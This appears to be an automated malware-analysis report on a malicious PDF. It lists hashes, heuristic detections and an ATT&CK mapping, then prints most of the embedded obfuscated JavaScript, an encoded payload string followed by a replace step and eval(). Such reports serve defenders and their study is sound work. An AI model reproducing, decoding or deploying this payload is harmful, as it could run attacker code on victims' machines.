Malicious PDF — malware analysis report

Static analysis result for SHA-256 b79e3403b2b39c12…

MALICIOUS

PDF

5.0 KB Created: 2009-31-10 53:15:00 Authoring application: Poeow (via Kskka) First seen: 2012-07-12
MD5: 402f03dc435484fe4f0fa9b5c07cd960 SHA-1: 8bf24adff4b44553e33f961364d13a3cac7bb514 SHA-256: b79e3403b2b39c12aa6c92da7e6191770fa1937e0d4ba2f74836ecce48bcd977
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, which is further indicated by a high-severity heuristic firing for an eval() call within a decoded stream. This suggests the script is designed to execute arbitrary code. The presence of a JavaScript action and an embedded JS stream reinforces this. The script itself is obfuscated, making its exact function difficult to determine, but the eval() call is a strong indicator of malicious intent, likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    c = c.replace(/ nnnHvvv /g,'e');
    eval(c);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x37F 27418 bytes
SHA-256: cc527206e5fe2d7a75cba68ddb4142345227fba5f99097438560f2536514f663
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 10 of 14 identifiers look randomly generated (e.g. 'tUMhNbGw') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var c=" nnnBvvv v nnnFvvv r p nnnFvvv yl nnnLvvv  nnnFvvv d =  nnnGvvv n nnnHvvv s nnnKvvv  nnnFvvv p nnnHvvv ( nnnAvvv % nnnGvvv  nnnCvvv A nnnCvvv A% nnnGvvv  nnnCvvv A nnnCvvv A% nnnGvvv  nnnCvvv A nnnCvvv A% nnnGvvv E1D9% nnnGvvv 34D9% nnnGvvv  nnnDvvv 8 nnnEvvv 4% nnnGvvv  nnnDvvv 8 nnnDvvv 8% nnnGvvv 33 nnnDvvv 8% nnnGvvv B3DB% nnnGvvv  nnnCvvv 31C% nnnGvvv 31C3% nnnGvvv 66C9% nnnGvvv E981% nnnGvvv FA6 nnnDvvv % nnnGvvv 3 nnnCvvv 8 nnnCvvv % nnnGvvv 4 nnnCvvv  nnnEvvv 1% nnnGvvv FAE nnnEvvv % nnnGvvv 17C9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnEvvv % nnnGvvv 49 nnnEvvv 1% nnnGvvv  nnnCvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 14B% nnnGvvv F1DE% nnnGvvv  nnnEvvv 198% nnnGvvv  nnnEvvv 131% nnnGvvv AA nnnEvvv 1% nnnGvvv CAD9% nnnGvvv 7F nnnEvvv 4% nnnGvvv 8 nnnDvvv D nnnEvvv % nnnGvvv F1DE% nnnGvvv D7C9% nnnGvvv DEDE% nnnGvvv C9DE% nnnGvvv  nnnEvvv  nnnEvvv 1C% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv D9AA% nnnGvvv 19C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C9 nnnEvvv 1% nnnGvvv  nnnEvvv  nnnCvvv 6C% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 67C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C9 nnnEvvv 1% nnnGvvv  nnnEvvv  nnnEvvv FA% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv D9AA% nnnGvvv  nnnCvvv 3C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C9 nnnEvvv 1% nnnGvvv  nnnEvvv  nnnCvvv 6 nnnDvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 11C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C9 nnnEvvv 1% nnnGvvv  nnnEvvv  nnnEvvv A8% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv D9AA% nnnGvvv  nnnEvvv DC9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C9 nnnEvvv 1% nnnGvvv  nnnEvvv  nnnCvvv 4 nnnCvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 3BC9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv CA nnnEvvv 1% nnnGvvv 7 nnnEvvv 79% nnnGvvv FDAA% nnnGvvv 4B7 nnnEvvv % nnnGvvv 4961% nnnGvvv 31 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C976% nnnGvvv  nnnEvvv 39 nnnCvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C4C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 79 nnnEvvv 1% nnnGvvv 7 nnnEvvv E nnnEvvv % nnnGvvv FDAA% nnnGvvv 4B7 nnnEvvv % nnnGvvv 49 nnnCvvv 1% nnnGvvv 31 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C976% nnnGvvv  nnnEvvv 3B8% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv ECC9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 79 nnnEvvv 1% nnnGvvv 76E nnnEvvv % nnnGvvv 1DC9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnDvvv % nnnGvvv AA nnnEvvv 1% nnnGvvv 1 nnnEvvv D9% nnnGvvv 68E8% nnnGvvv E11 nnnEvvv % nnnGvvv E nnnEvvv 91% nnnGvvv D3DD% nnnGvvv AC8F% nnnGvvv DE66% nnnGvvv E nnnEvvv 7E% nnnGvvv 1F7A% nnnGvvv  nnnEvvv 6E7% nnnGvvv 1F99% nnnGvvv 7EA8% nnnGvvv 47 nnnEvvv  nnnCvvv % nnnGvvv E61F% nnnGvvv  nnnEvvv 466% nnnGvvv C1DE% nnnGvvv C8E nnnEvvv % nnnGvvv  nnnEvvv  nnnDvvv B4% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnCvvv 7A% nnnGvvv 3 nnnDvvv CD% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv AA nnnEvvv 1% nnnGvvv 1FF nnnDvvv % nnnGvvv  nnnEvvv 3E6% nnnGvvv 4C4 nnnEvvv % nnnGvvv  nnnCvvv 14 nnnDvvv % nnnGvvv E61F% nnnGvvv  nnnEvvv  nnnDvvv 63% nnnGvvv 4 nnnEvvv  nnnCvvv E% nnnGvvv  nnnCvvv 3 nnnCvvv 1% nnnGvvv E3A nnnEvvv % nnnGvvv 1 nnnEvvv  nnnEvvv 9% nnnGvvv 71E1% nnnGvvv 4971% nnnGvvv  nnnEvvv  nnnCvvv  nnnEvvv  nnnDvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 7 nnnEvvv 73% nnnGvvv C971% nnnGvvv  nnnEvvv  nnnEvvv E nnnCvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv F1DE% nnnGvvv DDAA% nnnGvvv E6AA% nnnGvvv E1A nnnEvvv % nnnGvvv 1F nnnEvvv 9% nnnGvvv 39AB% nnnGvvv FAA nnnDvvv % nnnGvvv  nnnEvvv  nnnEvvv  nnnDvvv  nnnDvvv % nnnGvvv CA61% nnnGvvv 1FD7% nnnGvvv  nnnEvvv 1E7% nnnGvvv 1 nnnEvvv  nnnCvvv 3% nnnGvvv 1FF3% nnnGvvv 71A9% nnnGvvv A nnnEvvv  nnnEvvv  nnnCvvv % nnnGvvv 7 nnnDvvv CD% nnnGvvv E11 nnnEvvv % nnnGvvv FA1 nnnEvvv % nnnGvvv EDAA% nnnGvvv D9A nnnEvvv % nnnGvvv  nnnDvvv C7 nnnDvvv % nnnGvvv 1F nnnEvvv 8% nnnGvvv 3DA8% nnnGvvv A nnnEvvv  nnnEvvv  nnnCvvv % nnnGvvv  nnnEvvv  nnnDvvv E1% nnnGvvv D3CA% nnnGvvv EDAA% nnnGvvv F8AA% nnnGvvv E nnnEvvv A nnnEvvv % nnnGvvv 1 nnnEvvv 31% nnnGvvv 1FE1% nnnGvvv 6 nnnEvvv E6% nnnGvvv  nnnEvvv  nnnCvvv  nnnCvvv D% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 7 nnnCvvv  nnnEvvv 1% nnnGvvv 717 nnnEvvv % nnnGvvv 7171% nnnGvvv 7171% nnnGvvv 7671% nnnGvvv C971% nnnGvvv  nnnEvvv  nnnEvvv 18% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 38C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 4 nnnDvvv  nnnEvvv 1% nnnGvvv  nnnEvvv  nnnDvvv 8 nnnCvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv AC nnnEvvv 1% nnnGvvv 4181% nnnGvvv DEDE% nnnGvvv C9DE% nnnGvvv  nnnEvvv  nnnEvvv 16% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv FA1 nnnEvvv % nnnGvvv 7 nnnEvvv 7 nnnEvvv % nnnGvvv 7 nnnEvvv 7 nnnEvvv % nnnGvvv F1DE% nnnGvvv 19A1% nnnGvvv A1C9% nnnGvvv C819% nnnGvvv  nnnEvvv E nnnDvvv 4% nnnGvvv  nnnDvvv 9A nnnCvvv % nnnGvvv B1 nnnEvvv 4% nnnGvvv B1B1% nnnGvvv  nnnDvvv  nnnDvvv B1% nnnGvvv 74 nnnEvvv 7% nnnGvvv CDAA% nnnGvvv 61AC% nnnGvvv DE nnnEvvv 4% nnnGvvv C9C1% nnnGvvv DE nnnCvvv F% nnnGvvv DEDE% nnnGvvv C9E nnnEvvv % nnnGvvv DE nnnCvvv 9% nnnGvvv DEDE% nnnGvvv 3 nnnCvvv 99% nnnGvvv  nnnEvvv  nnnDvvv  nnnEvvv  nnnCvvv % nnnGvvv E3A1% nnnGvvv  nnnEvvv 1 nnnEvvv D% nnnGvvv 3AC9% nnnGvvv DEDE% nnnGvvv 1 nnnEvvv DE% nnnGvvv 71E1% nnnGvvv C97 nnnDvvv % nnnGvvv  nnnEvvv 17 nnnDvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C971% nnnGvvv  nnnEvvv 3AA% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv F1DE% nnnGvvv A117% nnnGvvv  nnnCvvv  nnnDvvv 1D% nnnGvvv  nnnDvvv 6 nnnEvvv 1% nnnGvvv C9 nnnEvvv B% nnnGvvv  nnnEvvv 36 nnnCvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv DE1 nnnEvvv % nnnGvvv DE76% nnnGvvv C9F1% nnnGvvv  nnnEvvv  nnnCvvv DA% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv DE49% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv DE nnnEvvv 1% nnnGvvv C9F1% nnnGvvv DFC9% nnnGvvv DEDE% nnnGvvv 767 nnnEvvv % nnnGvvv 1 nnnEvvv 77% nnnGvvv 71E1% nnnGvvv C97 nnnDvvv % nnnGvvv  nnnEvvv 13F% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv C971% nnnGvvv  nnnEvvv 374% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv F1DE% nnnGvvv A117% nnnGvvv  nnnCvvv  nnnDvvv 1D% nnnGvvv  nnnDvvv 6 nnnEvvv 1% nnnGvvv C9 nnnEvvv B% nnnGvvv  nnnEvvv 3 nnnEvvv A% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv DE1 nnnEvvv % nnnGvvv DE76% nnnGvvv 79F1% nnnGvvv 7E7F% nnnGvvv E nnnEvvv 7A% nnnGvvv  nnnEvvv 3CA% nnnGvvv E nnnEvvv 79% nnnGvvv D8C9% nnnGvvv DEDE% nnnGvvv 77DE% nnnGvvv A nnnEvvv 76% nnnGvvv  nnnEvvv 9CD% nnnGvvv DDAA% nnnGvvv  nnnEvvv 94B% nnnGvvv 1F76% nnnGvvv  nnnDvvv 6DE% nnnGvvv C93 nnnDvvv % nnnGvvv  nnnEvvv 37C% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv F1DE% nnnGvvv DDAA% nnnGvvv 4 nnnCvvv 49% nnnGvvv 444C% nnnGvvv 49 nnnEvvv 1% nnnGvvv 6468% nnnGvvv  nnnDvvv 367% nnnGvvv D nnnDvvv AA% nnnGvvv  nnnEvvv 998% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv D nnnEvvv  nnnEvvv 1% nnnGvvv  nnnDvvv 487% nnnGvvv 4B nnnCvvv E% nnnGvvv 1F nnnEvvv 1% nnnGvvv  nnnDvvv  nnnDvvv DE% nnnGvvv  nnnCvvv 1 nnnCvvv  nnnDvvv % nnnGvvv  nnnCvvv  nnnDvvv C9% nnnGvvv  nnnEvvv 1 nnnEvvv 3% nnnGvvv DE nnnEvvv 1% nnnGvvv AAF1% nnnGvvv C9D9% nnnGvvv  nnnEvvv  nnnCvvv EA% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv F1DE% nnnGvvv D91A% nnnGvvv  nnnEvvv 9 nnnDvvv  nnnDvvv % nnnGvvv AA17% nnnGvvv  nnnCvvv  nnnDvvv 6 nnnDvvv % nnnGvvv 1F nnnCvvv 1% nnnGvvv  nnnEvvv 1DE% nnnGvvv DE1F% nnnGvvv  nnnCvvv  nnnDvvv  nnnDvvv  nnnDvvv % nnnGvvv C93D% nnnGvvv  nnnEvvv  nnnCvvv CE% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv F1DE% nnnGvvv E nnnDvvv A nnnEvvv % nnnGvvv 7E31% nnnGvvv 997F% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 49E nnnEvvv % nnnGvvv 4F4E% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnDvvv 449% nnnGvvv 4D nnnDvvv 3% nnnGvvv CA4C% nnnGvvv AC34% nnnGvvv  nnnCvvv  nnnDvvv 6 nnnDvvv % nnnGvvv 71 nnnEvvv  nnnDvvv % nnnGvvv  nnnCvvv 3C9% nnnGvvv DEDF% nnnGvvv 71DE% nnnGvvv 6BC9% nnnGvvv  nnnEvvv 1 nnnEvvv 3% nnnGvvv C8 nnnEvvv 1% nnnGvvv DFC3% nnnGvvv DEDE% nnnGvvv C7C9% nnnGvvv DEDE% nnnGvvv A nnnEvvv DE% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv 4BE nnnEvvv % nnnGvvv 494D% nnnGvvv  nnnDvvv  nnnDvvv 4F% nnnGvvv 4D4 nnnDvvv % nnnGvvv 34CA% nnnGvvv 6 nnnDvvv AC% nnnGvvv  nnnEvvv  nnnDvvv  nnnCvvv  nnnDvvv % nnnGvvv C971% nnnGvvv DCDA% nnnGvvv DEDE% nnnGvvv C971% nnnGvvv  nnnEvvv 3 nnnCvvv  nnnEvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 9AC8% nnnGvvv DEDF% nnnGvvv C9DE% nnnGvvv DEC7% nnnGvvv DEDE% nnnGvvv E nnnDvvv A nnnEvvv % nnnGvvv E nnnEvvv  nnnEvvv 9% nnnGvvv 1 nnnEvvv 49% nnnGvvv  nnnEvvv 113% nnnGvvv 49 nnnEvvv 1% nnnGvvv  nnnDvvv  nnnEvvv  nnnDvvv 4% nnnGvvv  nnnDvvv 344% nnnGvvv 34CA% nnnGvvv 6 nnnDvvv AC% nnnGvvv  nnnEvvv  nnnDvvv  nnnCvvv  nnnDvvv % nnnGvvv C971% nnnGvvv DCF nnnCvvv % nnnGvvv DEDE% nnnGvvv C971% nnnGvvv  nnnEvvv  nnnCvvv D8% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv B nnnCvvv C8% nnnGvvv DEDF% nnnGvvv C9DE% nnnGvvv DEC7% nnnGvvv DEDE% nnnGvvv E nnnDvvv A nnnEvvv % nnnGvvv E nnnEvvv  nnnEvvv 9% nnnGvvv 4 nnnEvvv 49% nnnGvvv  nnnDvvv 6 nnnDvvv 7% nnnGvvv 49 nnnEvvv 1% nnnGvvv 49 nnnDvvv  nnnEvvv % nnnGvvv 4E4 nnnDvvv % nnnGvvv 34CA% nnnGvvv 6 nnnDvvv AC% nnnGvvv  nnnEvvv  nnnDvvv  nnnCvvv  nnnDvvv % nnnGvvv C971% nnnGvvv DC86% nnnGvvv DEDE% nnnGvvv C971% nnnGvvv  nnnEvvv  nnnCvvv EE% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 46C8% nnnGvvv DEDF% nnnGvvv C9DE% nnnGvvv DEC7% nnnGvvv DEDE% nnnGvvv E nnnDvvv A nnnEvvv % nnnGvvv E nnnEvvv  nnnEvvv 9% nnnGvvv  nnnDvvv 749% nnnGvvv  nnnDvvv 946% nnnGvvv CA nnnEvvv 1% nnnGvvv AC34% nnnGvvv  nnnCvvv  nnnDvvv 6 nnnDvvv % nnnGvvv 71 nnnEvvv  nnnDvvv % nnnGvvv A3C9% nnnGvvv DEDC% nnnGvvv 71DE% nnnGvvv 8BC9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv C8 nnnEvvv 1% nnnGvvv DF63% nnnGvvv DEDE% nnnGvvv C7C9% nnnGvvv DEDE% nnnGvvv A nnnEvvv DE% nnnGvvv  nnnEvvv  nnnDvvv E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv  nnnCvvv 8A% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 3A49% nnnGvvv 67E7% nnnGvvv 71 nnnDvvv 8% nnnGvvv E7C9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv  nnnCvvv B6% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv CD49% nnnGvvv  nnnEvvv  nnnEvvv B6% nnnGvvv 71 nnnEvvv D% nnnGvvv 93C9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv  nnnCvvv A nnnEvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 8B49% nnnGvvv  nnnEvvv CDD% nnnGvvv 71 nnnDvvv D% nnnGvvv BFC9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv  nnnCvvv 4E% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv CC49% nnnGvvv CE77% nnnGvvv 7117% nnnGvvv ABC9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv  nnnCvvv 7A% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv D149% nnnGvvv  nnnEvvv  nnnDvvv AB% nnnGvvv 717E% nnnGvvv  nnnDvvv 7C9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv DFD6% nnnGvvv DEDE% nnnGvvv  nnnDvvv 949% nnnGvvv FA49% nnnGvvv 713D% nnnGvvv 43C9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv  nnnCvvv 1 nnnEvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv CE49% nnnGvvv C1EF% nnnGvvv 7141% nnnGvvv 6FC9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv  nnnCvvv 3E% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv 9149% nnnGvvv  nnnCvvv C68% nnnGvvv 71FA% nnnGvvv 1BC9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv DE17% nnnGvvv DEDE% nnnGvvv 8A49% nnnGvvv BA7F% nnnGvvv 713F% nnnGvvv  nnnCvvv 7C9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv DF86% nnnGvvv DEDE% nnnGvvv 7849% nnnGvvv A nnnCvvv B6% nnnGvvv 71 nnnEvvv 3% nnnGvvv 33C9% nnnGvvv  nnnEvvv 1 nnnEvvv  nnnCvvv % nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv 1C nnnEvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnDvvv F49% nnnGvvv C3F9% nnnGvvv 71 nnnDvvv  nnnEvvv % nnnGvvv DFC9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv 1EE% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv BF49% nnnGvvv 9AD8% nnnGvvv 7114% nnnGvvv CBC9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv DFB3% nnnGvvv DEDE% nnnGvvv 7649% nnnGvvv 9481% nnnGvvv 719A% nnnGvvv F7C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv DF nnnDvvv F% nnnGvvv DEDE% nnnGvvv 3B49% nnnGvvv 3F nnnDvvv B% nnnGvvv 71 nnnEvvv 3% nnnGvvv E3C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv DF4B% nnnGvvv DEDE% nnnGvvv C149% nnnGvvv 117A% nnnGvvv 71B nnnDvvv % nnnGvvv 8FC9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv DF77% nnnGvvv DEDE% nnnGvvv B649% nnnGvvv C3E8% nnnGvvv 718 nnnEvvv % nnnGvvv BBC9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv DF63% nnnGvvv DEDE% nnnGvvv 4949% nnnGvvv E4 nnnCvvv  nnnDvvv % nnnGvvv 719 nnnEvvv % nnnGvvv A7C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv 176% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnDvvv 349% nnnGvvv 9 nnnEvvv DF% nnnGvvv 7137% nnnGvvv  nnnDvvv 3C9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv DF6 nnnDvvv % nnnGvvv DEDE% nnnGvvv 3 nnnEvvv CA% nnnGvvv 444B% nnnGvvv C971% nnnGvvv DAD6% nnnGvvv DEDE% nnnGvvv C971% nnnGvvv DF8A% nnnGvvv DEDE% nnnGvvv 96C8% nnnGvvv DEDD% nnnGvvv C9DE% nnnGvvv DEC9% nnnGvvv DEDE% nnnGvvv C9E nnnEvvv % nnnGvvv DC88% nnnGvvv DEDE% nnnGvvv 6E49% nnnGvvv 6ECE% nnnGvvv 71 nnnEvvv 4% nnnGvvv 1FC9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv C9E nnnEvvv % nnnGvvv  nnnEvvv 1 nnnEvvv E% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv AF49% nnnGvvv  nnnEvvv F6F% nnnGvvv 71CD% nnnGvvv  nnnCvvv BC9% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv A nnnEvvv  nnnEvvv 1% nnnGvvv  nnnEvvv 9E nnnDvvv % nnnGvvv 1 nnnEvvv E nnnEvvv % nnnGvvv 4 nnnDvvv E1% nnnGvvv 61AA% nnnGvvv A411% nnnGvvv  nnnDvvv 9E1% nnnGvvv 1F31% nnnGvvv 61AA% nnnGvvv 1F nnnEvvv D% nnnGvvv  nnnDvvv 1AA% nnnGvvv 8C3D% nnnGvvv AA1F% nnnGvvv  nnnEvvv 961% nnnGvvv CAE nnnEvvv % nnnGvvv 1F nnnEvvv A% nnnGvvv 61AA% nnnGvvv A nnnEvvv 1 nnnDvvv % nnnGvvv  nnnDvvv DE1% nnnGvvv AA1F% nnnGvvv 1D61% nnnGvvv 41E nnnEvvv % nnnGvvv AA17% nnnGvvv  nnnCvvv  nnnDvvv 4D% nnnGvvv 17 nnnCvvv  nnnDvvv % nnnGvvv 64AA% nnnGvvv 171D% nnnGvvv 7 nnnDvvv AA% nnnGvvv  nnnDvvv 9 nnnEvvv 4% nnnGvvv F4 nnnEvvv  nnnEvvv % nnnGvvv AA1F% nnnGvvv 396B% nnnGvvv AA1F% nnnGvvv  nnnCvvv 17B% nnnGvvv FC nnnEvvv  nnnEvvv % nnnGvvv 1AC nnnEvvv % nnnGvvv 1F68% nnnGvvv 1 nnnDvvv AA% nnnGvvv  nnnEvvv  nnnEvvv AA% nnnGvvv 1 nnnEvvv D4% nnnGvvv 1 nnnEvvv DE% nnnGvvv DDE1% nnnGvvv A nnnDvvv 8D% nnnGvvv  nnnDvvv  nnnDvvv E1% nnnGvvv E nnnCvvv  nnnEvvv 6% nnnGvvv  nnnEvvv CEE% nnnGvvv D9 nnnEvvv  nnnEvvv % nnnGvvv D nnnDvvv CA% nnnGvvv 1A17% nnnGvvv  nnnCvvv  nnnDvvv  nnnDvvv D% nnnGvvv  nnnDvvv 4 nnnCvvv 9% nnnGvvv 1FFE% nnnGvvv 7BAA% nnnGvvv  nnnEvvv  nnnEvvv  nnnCvvv  nnnDvvv % nnnGvvv 47FC% nnnGvvv AA1F% nnnGvvv 6A nnnEvvv D% nnnGvvv AA1F% nnnGvvv 3D7B% nnnGvvv FC nnnEvvv  nnnEvvv % nnnGvvv AA1F% nnnGvvv AA nnnEvvv  nnnDvvv % nnnGvvv E4 nnnEvvv  nnnEvvv % nnnGvvv A817% nnnGvvv  nnnCvvv  nnnDvvv 6 nnnDvvv % nnnGvvv 4 nnnCvvv 3D% nnnGvvv C9E nnnEvvv % nnnGvvv DA47% nnnGvvv DEDE% nnnGvvv  nnnDvvv  nnnDvvv 49% nnnGvvv  nnnDvvv 1 nnnDvvv  nnnDvvv % nnnGvvv  nnnCvvv E1B% nnnGvvv 4F nnnCvvv E% nnnGvvv  nnnDvvv 744% nnnGvvv  nnnDvvv 344% nnnGvvv 4 nnnCvvv  nnnDvvv  